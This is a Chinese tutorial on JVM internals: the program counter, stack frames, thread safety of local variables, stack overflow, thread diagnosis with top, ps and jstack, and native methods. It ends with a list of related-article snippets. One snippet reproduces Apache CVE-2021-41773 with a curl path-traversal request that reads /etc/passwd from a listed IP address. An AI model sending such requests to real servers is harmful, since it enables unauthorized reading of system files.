jvm中的程序计数器、虚拟机栈和本地方法栈
引言
本文主要介绍一下jvm虚拟机中的程序计数器、虚拟机栈和本地方法栈。
程序计数器
作用
作用:记录下一条jvm指令的执行地址。
下面具体描述一下程序计数器的作用。
 
这里有两个代码,右边的为源代码,左边为编译之后的字节码。
当我们直接写完源代码之后这个代码是不能直接交给CPU运行的,需要转化为对应的机器码才能让CPU运行。
 具体的步骤:
 源码 —> 字节码 —> 解释器 —> 机器码 —> CPU 运行。
在这整个过程中,程序计数器的作用就体现在字节码被解释器转化为机器码的过程中,在这个过程中,解释器每解释一条指令之后就会到程序计数器中取得下一次条指令的地址,然后程序计数器再指向下一条指令。
除此之外程序计数器在多个线程运行中也起到关键的作用,接下来就顺便介绍一下程序计数器的特点,并探究一下在多线程中起到了什么作用。
特点
特点:
 ● 是线程私有的
 ● 不会存在内存溢出(唯一一个不会内存溢出)
这里具体介绍一下线程私有和程序计数器作用之间的关系,我们都知道CPU会给每个线程都分配时间片,当时间片用完之后线程就会停止运行被挂起了,所以在这个时候也需要记录一下接下来程序需要执行指令的地址,这正是程序计数器的作用。所以想要正确的保证时间片被用完之后还能记录程序运行的位置,为之后重新获得时间片继续执行程序,程序计数器是必不可少的。
同时我们也能发现为什么是线程私有的,因为每个线程都有自己所要执行的程序,并且需要分别记录自己程序将要执行位置,所以程序计数器是线程私有的,这样多个线程运行才不会乱套。
虚拟机栈
总结来说,虚拟机栈其实就是线程运行所需要的内存空间。
虚拟机栈里存放的内容称为栈帧,而所谓的栈帧其实就是每个方法运行所需要的内存。里面包括方法的参数、局部变量、返回地址。所以每个方法执行时就需要提前将这些内存给分配好,然后每执行一个方法就会存放一个相对应的栈帧。
 但是并不是虚拟机栈中只能存放一个栈帧,如果存在方法的嵌套的话,就会放入多个栈帧,并且是按照栈的数据结构进行保存的,当方法执行完之后再从栈中弹出。
 虚拟机栈只能有一个活动栈帧,指的就是当前正在执行的方法。
栈的演示
这里就在写一个嵌套方法来演示栈。
public class Demo1 {public static void main(String[] args) {method1();}public static void method1(){method2(1, 2);}public static int method2(int a, int b){int c = a + b;return c;}
}
我们在main方法上打断点 debug 启动。
 
这里左边就是虚拟机栈里面存放着栈帧,右边就是这个栈帧的内容,这里面只有参数所以就显示了参数。当前的活动栈帧就是main方法。
当我们走到method1
 
 这时活动栈帧就是method1方法,并且由于没有任何参数、局部变量和返回值所以就没有右边的栈帧内容。
接下来我们走到method2
 
 这时我们的活动栈帧就是method2方法,并且也有栈帧内容。
当活动栈帧对应的方法走完之后,就会弹出这个栈帧。这里我们在点下一步就会把method2弹出,并且方法返回到method1。
 
 后续也是相同的。
问题辨析
垃圾回收是否涉及栈内容?
这里其实并不会,因为栈帧内存其实在每一次方法之后就会自己弹出栈,然后就把内存释放掉了,所以不需要专门垃圾回收进行内存回收。
栈内存分配越大越好吗?
其实栈内容也并不是越大越好的,因为栈内存指的是当前线程运行所需要内容,而我们虚拟机分配的内存并不是无限大的,所以给栈分配的内存也不是无限的。而如果当我们栈的内存过大的话,就会导致我们能够创建的线程数就减少了,也可能会影响性能,所以并不是越打越好。
这里顺便介绍一个jvm的指令参数来设置栈内存大小。
-Xss size  // 后面跟一个大小
例如:
-Xss 1m
-Xss 1024k
-Xss 1048576
这个参数可以在idea中进行设置。
 
 
方法内的局部变量是否线程安全?
这里我们来观察一下代码
static void m1(){int x = 0;for (int i = 0; i < 5000; i++){x++;}System.out.println(x);
}
这个方法内的x其实是线程安全的,因为当我们有多个线程去调用这个方法时,那么就会创建多个对应m1方法的栈帧,然后在执行这个方法的时候每个线程都会创建自己单独的x局部变量,所以这个是安全的。
 
但是如果这个x是static修饰的话,就不是线程安全的,因为这个变量就会被多个线程同时访问到,就会造成线程安全的问题。

接下来我们来看一下下面三个方法是不是线程安全的。
    public void method1(){StringBuilder sb = new StringBuilder();sb.append(1);sb.append(2);sb.append(3);System.out.println(sb.toString());}public void method2(StringBuilder sb){sb.append(1);sb.append(2);sb.append(3);System.out.println(sb.toString());}public StringBuilder method3(){StringBuilder sb = new StringBuilder();sb.append(1);sb.append(2);sb.append(3);return sb;}首先看第一个,这个StringBuilder方法是一个局部变量,类似于上面的变量x所以这个是一个线程安全的,每个线程都会创建自己的StringBuilder。
再看第二个,这个sb变量是通过参数传过来,这个就会有线程问题,可能调用者通过多线程来调用的这个方法,然后再主线程中同时对这个sb进行了操作,这样就会有问题。这时候就应该使用StringBuffer。
类似于以下这种调用:
StringBuilder sb = new StringBuilder();
sb.append(1);
sb.append(2);
sb.append(3);
new Thread(() -> {method2(sb);
});
第三个同样有问题,当创建完之后的对象给返回出去了,那么别的线程拿到这个数据同样可能会进行多线程的操作造成了线程问题。
所以总结来说:
 ● 如果方法内局部变量没有逃离方法的作用访问,它是线程安全的
 ● 如果是局部变量引用了对象,并逃离方法的作用范围,需要考虑线程安全
栈内存溢出:
造成内存溢出的原因具体有两种:
 ● 无限递归的方法调用没有返回,导致栈帧太多因此内存溢出
 ● 栈帧内存直接大于栈内存大小,导致内存溢出
由于第二种并不好实现,所以这里模拟一下第一种的情况。
 具体代码:
    public static void main(String[] args) {method();}public static void method(){method();}这时就会报一个StackOverflowError的错误就是栈内存溢出了。
 
线程诊断
cpu 占用高
这里写一个while(true)代码,然后再linux上进行运行。
 接下来进行排查过程:
-  使用 top命令查看资源占有情况
  定位到 32655 进程资源占有高 定位到 32655 进程资源占有高
-  查找相对应的线程 
 这里使用ps命令可以查看线程的对cpu的使用情况。
ps H -eo pid,tid,%cpu
H:表示把当前进程下的所有线程都打印出来
 -eo:表示后面添加的参数表示最后要展示哪些列,比如pid、tid、%cpu
 
 还可以使用grep进行筛选
ps H -eo pid,tid,%cpu | grep 32655
可以查看到 32655 进程对应的 32665 的线程占有率很高。
- 查看所有线程
 使用 jdk 提供的工具 jstack 工具可以看查看当前进程中所有的线程。
jstack 32655

- 查找具体的线程
 查找通过ps命令找到的有问题的线程id(注意:这里需要将十六进制转化为十进制)
 32665 ==> 7f99
  
 这里状态还是运行中,并且显示了有问题的代码行数。
程序运行很长时间没有结果
当我们启动完一个java程序之后没有给到相对应的返回结果时,命令行会返回一个当前启动的进程号。
 然后通过这个进程号使用jstack命令来直接查询当前所有的线程
 
然后找到这个工具最后输出的内容:
 如果有死锁导致没有输出结果的话,这里就会提示有死锁,并且提示有问题的代码行号。
 
总结:
定位:
 ● 使用 top命令查看哪个进程占用的cpu高
 ● 使用ps H -eo pid,tid,%cpu | grep 进程id查看哪个线程占用cpu高
 ● jstack 进程id命令查看当前进程下的所有线程
 ○ 进一步查找有问题的线程,并定位到有问题的源码行数
本地方法栈
本地方法栈的作用就是给本地方法提供的一个内存空间,因为Java有些源码并不是用java写的,而是用c和c++写的本地方法(这是因为Java代码有一定的限制,不能直接跟操作系统底层打交道),所以为了能够调用这些本地方法,就专门有一个本地方法栈,专门用来调用这些方法供使用的。
 具体有哪些本地方法,以Object类举例子:
 像这种以native修饰的都是本地方法

相关文章:
 
jvm中的程序计数器、虚拟机栈和本地方法栈
引言 本文主要介绍一下jvm虚拟机中的程序计数器、虚拟机栈和本地方法栈。 程序计数器 作用 作用:记录下一条jvm指令的执行地址。 下面具体描述一下程序计数器的作用。 这里有两个代码,右边的为源代码,左边为编译之后的字节码。 当我们…...
 
安卓数据存储——SharedPreferences
共享参数 SharedPreferences 1、sharedPreferences是Android的一个轻量级存储工具,采用的存储结构是key - value的键值对方式 2、共享参数的存储介质是符合XML规范的配置文件。保存路径是:/data/data/应用包名/shared_prefs/文件名.xml 使用场景&…...
 
【计算机网络篇】数据链路层 功能|组帧|流量控制与可靠传输机制
🧸安清h:个人主页 🎥个人专栏:【计算机网络】 🚦作者简介:一个有趣爱睡觉的intp,期待和更多人分享自己所学知识的真诚大学生。 系列文章目录 【计算机网络篇】计算机网络概述 【计算机网络篇…...
 
Apache CVE-2021-41773漏洞复现
1、环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2、使⽤poc curl http://47.121.212.195:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3、工具验证...
 
带线无人机现身俄罗斯抗干扰技术详解
带线无人机在俄罗斯的出现,特别是其光纤制导技术的应用,标志着无人机抗干扰技术的一大进步。以下是对俄罗斯带线无人机抗干扰技术的详细解析: 一、带线无人机抗干扰技术背景 技术突破:俄军成功研发了光纤制导无人机,…...
 
ArcGIS10.2/10.6安装包下载与安装(附详细安装步骤)
相信从事地理专业的小伙伴来说,应该对今天的标题不会陌生。Arcgis是一款很常用的地理信息系统软件,主要用于地理数据的采集、管理、分析和展示。目前比较常见的版本有ArcGIS 10.2和ArcGIS 10.6。 不可否认,Arcgis具有强大的地图制作、空间分…...
 
生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队指导设计、解读实验结果。
查看原文>>>生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队免费指导设计、解读实验结果、一台服务器解决您所有的分析困扰!...
 
【machine learning-14-特征缩放-归一化】
特征缩放是提升线性回归收敛速度的技巧,什么是特征缩放? 又是什么场景下需要特征缩放,有哪些特征缩放的方法呢? 特征值差异 我们还是以之前房间预测为例: 这里面是特征房屋大小 房间数目 与房价的关系 本文为简化…...
二叉树堆的建立与排序
在数据结构中,二叉树是非常好用的一种数据结构,这节暂时按下不表。这节课主要介绍堆的建立与使用。 堆,是二叉树中一种很特殊的结构,首先,他必须是满二叉树,也就是除了最后一层以外,其他层都是…...
 
【软件测试】Bug 篇
哈喽,哈喽,大家好~ 我是你们的老朋友:保护小周ღ 今天给大家带来的是 【软件测试】Bug 篇,首先了解, 什么是Bug, 如何定义一个Bug, 如何描述一个 Bug, Bug的级别, 和 Bug 的生命周期, 以及测试人员跟开发人员产生争执如何处理,…...
oracle 多表查询
3.6多表查询 当查询的数据并不是来源一个表时,需要使用多表连接操作完成查询。多表连接查询通过表之间的关联字段,一次查询出多个表的数据。 3.6.1等值连接 等值连接也称为简单连接(Simple Joins)或者内连接(Inner Join)。通过等号来判断连接条件中的数据…...
layui 可以使点击图片放大
layui可以使图片点击放大,不用在写jquyery了真是很方便。 操作示例 引入 <link rel"stylesheet" href"https://cdn.jsdelivr.net/npm/layui-layer3.1.1/dist/layui.css" /> <script src"https://cdn.bootcdn.net/ajax/libs/jqu…...
 
制作网上3D展馆需要什么技术并投入多少费用?
制作网上3D展览馆项目,需要考虑以下技术和预算方面的信息: 技术需求: 1、三维建模技术:利用3D软件(3ds max、maya、blender、c4d等)制作展馆和展品的3D模型 2、Web3D技术:如WebGL,…...
 
C++标准库容器类——string类
引言 在c中,string类的引用极大地简化了字符串的操作和管理,相比 C 风格字符串(char*或cahr[]),std::string 提供了更高效和更安全的字符串操作。接下来让我们一起来深入学习string类吧! 1.string 的构造…...
 
Qt --- 常用控件的介绍 --- 其他控件
一、QPushButton QWidget中设计到的各种属性/函数/使用方法,针对接下来要介绍的Qt的各种控件都是有效的。 使用QPushButton表示一个按钮,这也是当前我们最熟悉的一个控件了。这个类继承了QAbstractButton,这个类是一个抽象类,是…...
 
spark读取数据性能提升
1. 背景 spark默认的jdbc只会用单task读取数据,读取大数据量时,效率低。 2. 解决方案 根据分区字段,如日期进行划分,增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …...
一次使用threading.Thread来实现Pytorch多个模型并发运行的失败案例
文章目录 背景我的做法(但证明不起效果) 背景 我有多个pytorch GPU模型,他们有不同的参数(也就是说不是共享的),但是相同的数据输入,想要并发运行。 不并发运行,当然就是循环喽。 …...
HashMap源码
简介 HashMap 是一种基于哈希表的 Map 接口实现,它存储键值对(key-value pairs),并允许使用键来快速检索值。在 Java 中,HashMap 是 java.util 包的一部分,它不是同步的,这意味着它不是线程安全…...
 
探索 Web Speech API:实现浏览器语音识别与合成
引言 Web Speech API 是一项由 W3C 开发的 Web 标准,为开发者提供了在 Web 应用程序中实现语音识别和语音合成的能力。通过 Web Speech API,我们可以让网页与用户进行语音交互,实现更加智能化和便捷的用户体验。本文将深入探讨 Web Speech A…...
python基础题练习
1.可否定义一个sum函数呢?返回指定区间的值的和?例如,区间[1,4]的和为123410返回指定区间值的平方的和呢?立方呢? 代码: # 计算从start到end(包括end)的所有整数的和。 def sum_ra…...
 
超短脉冲激光自聚焦效应
前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应,这是一种非线性光学现象,主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场,对材料产生非线性响应,可能…...
 
K8S认证|CKS题库+答案| 11. AppArmor
目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、切换节点 3)、切换到 apparmor 的目录 4)、执行 apparmor 策略模块 5)、修改 pod 文件 6)、…...
 
安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件
在选煤厂、化工厂、钢铁厂等过程生产型企业,其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进,需提前预防假检、错检、漏检,推动智慧生产运维系统数据的流动和现场赋能应用。同时,…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...
 
1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...
【HTML-16】深入理解HTML中的块元素与行内元素
HTML元素根据其显示特性可以分为两大类:块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...
 
vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信
文章目录 Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信前言一、网络通信基础概念二、服务端与客户端的完整流程图解三、每一步的详细讲解和代码示例1. 创建Socket(服务端和客户端都要)2. 绑定本地地址和端口&#x…...
Go语言多线程问题
打印零与奇偶数(leetcode 1116) 方法1:使用互斥锁和条件变量 package mainimport ("fmt""sync" )type ZeroEvenOdd struct {n intzeroMutex sync.MutexevenMutex sync.MutexoddMutex sync.Mutexcurrent int…...
深入理解Optional:处理空指针异常
1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...
